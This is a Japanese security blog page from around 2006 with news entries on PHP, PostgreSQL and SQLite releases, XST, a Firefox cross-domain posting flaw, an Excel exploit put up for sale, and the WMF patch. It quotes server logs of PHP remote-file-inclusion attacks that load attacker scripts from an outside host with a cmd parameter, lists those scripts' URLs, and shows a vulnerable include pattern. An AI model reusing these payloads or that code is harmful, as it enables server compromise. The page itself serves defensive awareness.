• Windowsソースコード開示へ

    米マイクロソフト社は25日(米国時間)、欧州連合(EU)の反トラスト是正命令に応じて、ウィンドウズ・オペレーティング・システム(OS)のソースコードを一部ライセンス開示すると発表した。

    OSもですがInternet Explorerのソースコードがあると更に多くの攻撃方法が判明する可能性は非常に高いと思われます。セキュリティ研究系の会社もライセンスできるくらいの料金でライセンスされるのか興味深いですね。

  • CHECK PC!マナベに学べ。

    経済産業省のPCセキュリティ啓蒙サイト。

    PCをもっと安全、安心に活用できるネット社会を目指して活動しています。

    是非「ウィルス」「不正アクセス」「フィッシング」「スパイウェア」各項目の注意点に追加してほしい物もありますが最初の一歩としてはこれでも良いかなと思います。

    リンク先はあまり素人向けでない所もありますが、最初は仕方ないでしょう。

  • XSTを知ってますか?

    XSTとはCross Site Tracingの事で2003年にその危険性が指摘されました。

    簡単に言うとクロスサイトスクリプティングに脆弱なWebサイトはTRACEメソッドでBasic認証のクレデンシャル(ユーザ名とパスワード)を盗まれてしまう、と言う問題です。当時、XmlHttpRequestが他のサイトにもリクエストを送信できたので非常に大きな問題でした。

    現在のWebサーバはTRACEメソッドはデフォルトで無効にしてあります。今は大丈夫なハズだったのですがプロキシがある環境では大丈夫で無いかも、というレポートです。プロキシがTRACEメソッドを受け付けているとTRACEメッセージを返してしまうのかも知れません。実際に攻撃可能かは書いてないのですがsquid, apacheをプロキシとして利用している場合の対策が載っています。

    Basic認証でユーザ管理をし、クッキーを利用するセッション管理していないのでクロスサイトスクリプティングの脆弱性を修正せずにいるサイト等が攻撃対象になります。

    実はWebサイトのセキュリティ書籍を執筆していた時にXSTも解説していました。思いもよらない部分(TRACEメソッドのデフォルトでの有効化)でセキュリティホールが出来てしまった過去の例、として取り上げていたのですが現在進行形になったようです。まだ修正が間に合うので直さないとならないですね。
    ♯ 実際に攻撃可能か確認しないとならないですが。

  • allow_url_includeオプションの追加

    CVS HEADでは昨年11月にallow_url_includeオプションが追加されています。allow_url_fopenからinclude/require文の設定を分離するオプションです。

    このオプションを付けると万が一、

    $dir = $_GET[‘dir’];
    …..
    …..
    include($dir.$file);

    の様なコードがあってもhttp://, ftp:// は使えなくなります。(SSL/TLSも)ただしphp://inputは使えます。ですから今ひとつなパッチですが無いよりましです。

    私がPHP 5.1.2用にバックポート(ほとんどオリジナルと同じですが)はこちらです。
    http://wiki.ohgaki.net/index.php?PHP%2Fpatch%2Fallow_url_include

  • PostgreSQL 8.1.2リリース

    PostgreSQL 8.1.2, 8.0.6, 7.4.11 と 7.3.13がリリースされています。

    8.0と8.1の変更

    — Character string locale comparison bug. This may require a REINDEX
    on text column indexes in some locales, such as Hungarian.
    — Prevent accidental changes of locale by plperl
    — Two fixes for Japanese encodings
    — Two fixes for COPY CSV
    — Fixes for functions returning RECORD
    — Fixes to autovacuum, dblink and pgcrypto

    pgsql-jpに載っていますが問題が発生した場合分かりづらい日本語エンコーディング問題の修正が含まれています。

  • PHP 4.4.2リリース

    PHP 4.4.2がリリースされました。

    * Prevent header injection by limiting each header to a single line.
    * Possible XSS inside error reporting functionality.
    * Missing safe_mode/open_basedir checks into cURL extension.
    * Apache 2 regression with sub-request handling on non-Linux systems.
    * key() and current() regression related to references.

    全部だったか覚えていませんが廣川さんがコミットしたmbstringモジュールの修正も含まれているはずです。

  • クロスドメインポスティング

    FirefoxがIFRAME内だとクロスドメインポストに警告を表示しない、という問題。

    [Full-disclosure] Firefox 1.5 allow cross-domain posting to secured pages

    just drop a hidden IFRAME in the form, set its src to username:password@123.com and Firefox is fooled into thinking that it is not a cross-domain posting. So no warning pops up. You can also drop the U/P on the URL in the forms action since the IFRAME has already logged in.

    例としてデフォルトユーザ/パスワードのルータのFirewallを解除できるとしています。デフォルトユーザ/パスワードのままのルータは直接攻撃が可能なのですが、攻撃元を判り辛くするためにクラックしたWebサーバに攻撃用ページを作って、という事が考えられるかな。

  • SQLite 3.3.0 Alpha

    SQLite 3.3は結構変わりますね。
    Alphaなのでデフォルトの仕様は変わるかもしれませんが3.3は3.x系列のファイルは読めるが、3.3より以前のバージョンのSQLiteでは読めない、という点には注意が必要ですね。

    * CHECK constraints are now enforced.

    * The IF [NOT] EXISTS syntax of MySQL is now recognized on
    CREATE/DROP TABLE/INDEX statements.

    * DESC indices really are descending now. The DESC keyword
    on index definitions used to be ignored.

    * The database file format has changed slightly to more
    compactly represent boolean values and to support DESC
    indices. Version 3.3.0 will read and write all prior
    version 3 databases. But new databases created by
    version 3.3.0 will not be readable by older versions
    of SQLite. If this is a problem for your application,
    compile SQLite using

    -DSQLITE_DEFAULT_FILE_FORMAT=1

    and then version 3.3.0 will create new databases in
    the legacy format understood by all prior versions of
    SQLite. DESC indices only work in the new format.

    * SQLite now distinguishes between REAL and INTEGER columns
    and attempts to make appropriate conversions.

    * The OS-interface layer has been modified for greater
    flexibility and control of custom ports and implementations.

    * SQLite now responses better to out-of-memory errors. The
    library will recover and reset itself automatically. There
    is no longer a need to call sqlite3_global_recover(). The
    new sqlite3_enable_memory_management() API can be used to put
    SQLite into a mode where it will automatically try to reduce
    its database cache size when it comes under memory pressure.

    * The database cache and parsed schema information can now
    optionally be shared between two or more database connections.
    This can be used to reduce I/O and to improve concurrency.
    On a database using a shared cache, you can specify
    READ UNCOMMITTED isolation as an option (the default is
    SERIALIZABLE). With READ UNCOMMITTED, a reader will not
    block or be blocked by a writer and you will never get
    an SQLITE_BUSY error on a read.

  • PHP 5.1.2リリース

    重要なセキュリティフィックスが含まれています。

    * HTTP Response Splitting has been addressed in ext/session and in the header() function.
    * Fixed format string vulnerability in ext/mysqli.
    * Fixed possible cross-site scripting problems in certain error conditions.
    * Hash & XMLWriter extensions added and enabled by default.
    * Upgraded OCI8 extension.
    * Over 85 various bug fixes.

    最近のキャッシュサーバやクライアントはHTTP Response Splitting攻撃にある程度強くなっている、とはいえサーバの不備はサーバ管理者の責任ですから5.1を使っている方はアップグレードした方が良いと思います。

    関連エントリ:
    https://www.codeblog.org/blog/yohgaki/?date=20060113

  • codeblog.org

    Codeblogというプロジェクトに協力させていただく事になりました。
    こちらの個人用ブログも更新しますがあまり更新されてない場合などはcodeblogの方もご覧ください。

  • 脆弱性の販売

    full-disclosureから。

    少し前にeBayでセキュリティホールをオークションに出ていとブログに書きました。
    今度は自分のWebサイトだけでなくMLに広告まで出しています。iDefense等は購入しなかったようです。企業としては正しい判断だと思います。基本的には無視が一番だと思いますが、この様な場合どう対処するべきなんでしょうね。

    —–BEGIN PGP SIGNED MESSAGE—–
    Hash: SHA1

    It has not been possible for me to reach an agreement with zdi nor
    idefense for selling the excel bug because I have publicly warned
    about a remote command execution in my forum, I have tried to excuse
    me about my selfstarting mistakes in the rssponsible disclosure nor to
    explain them then if I find a 2nd excel critical bug , how can I
    submit it to them since I have publicly warned about an excel flaw ?
    You should reject actually any excel flaw no ?
    No that’s it , they leave me alone with a critical excel flaw, so I
    have no other way now to get paid for my research to leave an announce:

    A critical excel flaw is for sale, if you wish to buy it what do you
    will have:

    – -full advisory (explaining how I have found it , how I exploit it)
    – -full poc building a xls file, once this file opened , excel will
    arbitrary run regedit.exe, a bindshellcode, or add an admin user.
    – -you have all rights on it , since Im alone able to exploit it, you
    will trust me, I never share privately, you will be the only owner of it.

    if you wish to see what the bug does, I can compute some videos on
    demand. And of course if you are willing to buy it , do not offer
    something ridiculous.

    for any informations , excel_for_sale@heapoverflow.com

    note: I know this look like a joke, but I’m serious , I should be paid
    for my security research , and I really dont want to help microsoft
    for free, the auction is up for whitehats and blackhats, thanks to the
    resposible programs on this.
    I know I have made a mistake but this was still up to you to stop me.
    —–BEGIN PGP SIGNATURE—–
    Version: GnuPG v1.4.2 (MingW32)

    iQIVAwUBQ8WG5q+LRXunxpxfAQJj3g//bc7pkBjMyBH8tey3XT6FaCIOI4toxdeZ
    xeIBVjafFHddvwUIARDEO/FIy3RGNZbfY4O3y+NC+CyhJVc+HcMFplns9AYCutNk
    P7WcQ+Ax8KJth4Bo2ol2B53gdLZ6rnSWyp8Xua2GWc9Z9d6rbfrQHZaY9s53j8XP
    ITmo4Yoly1A8NnD3m1ZDRN2TrDsaBZQbd97vfi20oHUH41VAN9b/lU3UI9+QC8oo
    TZVDVvYi4YTnNEUfWW5CQlJ9+kDxRPfRMhOVMo/oSXgbD/56s5vRHB7eMxakLWBb
    jwrdTQ/5S7ez20sK3UIZmV3919TPVHQK0NF4OX8ZpLsHPrguDUUZXXePzMcnnibl
    MHGkBVIegCojHyQth8WiHo0adCAoOcuIdFXmaXXFmg3NSstsv6AFQ64fJO7vOJYs
    HJ0X5BKHHTPdIElT9Uzbif5UfdARCIOhgcF/e2hXpHX7PJYXahZTUtOYLmfQbIeT
    QMRJL8wH1lIAhBJiIWo+ZUJ6YgnovS8YBsffYjtRUVe7e0v+oZsuAp6c4A0XWP7O
    rywj7aXT8xsz5mkHGuN9W9EiKq7XgO0d3EGyp0XZcm03CuAriCwLN/exx1bJkcw/
    gCsebwGTSHbyzVDyioqjfdNskQwIakmFZvlPGC3+9Rv1aiYogH8CpBOIJgvBvkCW
    kmCQMX9ui1Y=
    =khwl
    —–END PGP SIGNATURE—–

  • ファイルインクルードブルートフォース攻撃

    webappsecでこんなメールを見かけました。

    For the most part I ignore the dozens of daily attacks against my system but this one caught my eye. Looks like some defacing groups are writing/implementing
    perl scripts to identify query strings, and attempt php inclusion attacks against them (not using known exploits). Below is a log snippet.

    202.226.224.67 – – [08/Jan/2006:21:32:43 -0500] “GET / HTTP/1.0” 200 37172 “-” “lwp-trivial/1.35” 202.226.224.67 – – [08/Jan/2006:21:32:44 -0500] “GET /?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 37172 “-” “lwp-trivial/1.35”
    202.226.224.67 – – [08/Jan/2006:21:32:45 -0500] “GET /webservers/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 24083 “-” “lwp-trivial/1.35”
    202.226.224.67 – – [08/Jan/2006:21:32:46 -0500] “GET /phishing/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 30626 “-” “lwp-trivial/1.35”
    202.226.224.67 – – [08/Jan/2006:21:32:47 -0500] “GET /database/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 24267 “-” “lwp-trivial/1.35”
    202.226.224.67 – – [08/Jan/2006:21:32:48 -0500] “GET /appservers/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 24521 “-” “lwp-trivial/1.35”
    202.226.224.67 – – [08/Jan/2006:21:32:49 -0500] “GET //lib/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 47471 “-” “lwp-trivial/1.35”
    202.226.224.67 – – [08/Jan/2006:21:32:50 -0500] “GET /archive/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 25445 “-” “lwp-trivial/1.35”
    202.226.224.67 – – [08/Jan/2006:21:32:51 -0500] “GET /development/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 24286 “-” “lwp-trivial/1.35”
    202.226.224.67 – – [08/Jan/2006:21:32:52 -0500] “GET /ws/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 29316 “-” “lwp-trivial/1.35”
    202.226.224.67 – – [08/Jan/2006:21:32:53 -0500] “GET //pen-test/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 29892 “-” “lwp-trivial/1.35”
    202.226.224.67 – – [08/Jan/2006:21:32:54 -0500] “GET /ajax/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 28338 “-” “lwp-trivial/1.35”
    202.226.224.67 – – [08/Jan/2006:21:32:55 -0500] “GET /appfirewall/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 24073 “-” “lwp-trivial/1.35”

    The script located at www.sanicentrum.be might interest some of you, as well as the include file it uses at http://www.sanicentrum.be/private/therules25.dot
    and the many scripts it uses/looks for.

    Working Referenced Links
    * http://www.sanicentrum.be/private/tool25.dot
    * http://www.sanicentrum.be/private/writer25.dot
    * http://www.sanicentrum.be/private/get25.dot
    * http://www.sanicentrum.be/private/filed25.dot
    * http://www.sanicentrum.be/private/filed_put25.dot (Of Interest)
    * http://www.sanicentrum.be/private/copyd25.dot
    * http://www.sanicentrum.be/private/flist25.dot
    * http://www.sanicentrum.be/private/style25.dot (Because every defacement group needs html templating :)

    Non working (at this time)
    * http://www.sanicentrum.be/private/safe25.dot

    I’ve contacted sans since the parent host *appears* to be hacked.

    – Robert
    http://www.cgisecurity.com/ Website Security News, and more!
    http://www.cgisecurity.com/index.rss [RSS Feed]

    ——————————————————————————-
    Watchfire’s AppScan is the industry’s first and leading web application
    security testing suite, and the only solution to provide comprehensive
    remediation tasks at every level of the application. See for yourself.
    Download AppScan 6.0 today.

    https://www.watchfire.com/securearea/appscansix.aspx?id=701300000003Ssh
    ——————————————————————————-

    Perlスクリプトでブルートフォース的にファイルインクルードバグがあるPHPスクリプトの攻撃を試みているようです。調べて見ると、私のサーバにも同様のアクセスログが残っていました。トップページにあるリンクを抽出し、クエリ文字列部分を書き換えて試してみる作りになっているようです。攻撃用のPHPスクリプトは削除されていて今はアクセスできないようです。

    スクリプトインジェクションが出来るのであまり役に立たないとはいえallow_url_fopen=offなら万が一スクリプトインクルードバグがあってもこの攻撃からは守れますね。

  • WMFアップデート

    Graphics Rendering Engine の脆弱性によりコードが実行される可能性がある (912919) (MS06-001) の対応ですがWindowsUpdateにも対応しています。確かにインストールしてましたね。

    関連:
    ログオン時にインストールできるWMF Hotfix
    http://blog.ohgaki.net/index.php/yohgaki/2006/01/03/a_sa_da_oa_sa_a_la_ca_sa_sa_a_fa_la_sa_a

    SpamメールでのWMF攻撃
    http://blog.ohgaki.net/index.php/yohgaki/2006/01/02/spama_ia_fa_la_sa_rwmfa_ra

  • awstatsとXMLRPC脆弱性への攻撃

    年末の時点でのawstatsとXMLRPC脆弱性への攻撃のサマリ。

  • RFID-Zapper – RFIDの無効化プロジェクト

    RFID防止財布は財布に入っているタグ付きカード等をRFIDリーダから保護するものですが、こちらはRFIDを壊して使えなくすることを目的としています。

    The RFID-Zapper is a gadget to deactivate (i.e. destroy) passive RFID-Tags permanently.

    とあるように完全に壊すことを目的としています。

    The project is almost finished.
    We modified several single-use-cameras into RFID-Zappers and have successfully tested them.

    使い捨てカメラを改造してRFIDタグを壊せるようにしているようです。もうテストのために壊すRFIDタグが無くなったそうで募集しています。

    誰でも作れるような物だそうです。
    くれぐれも悪用しないように。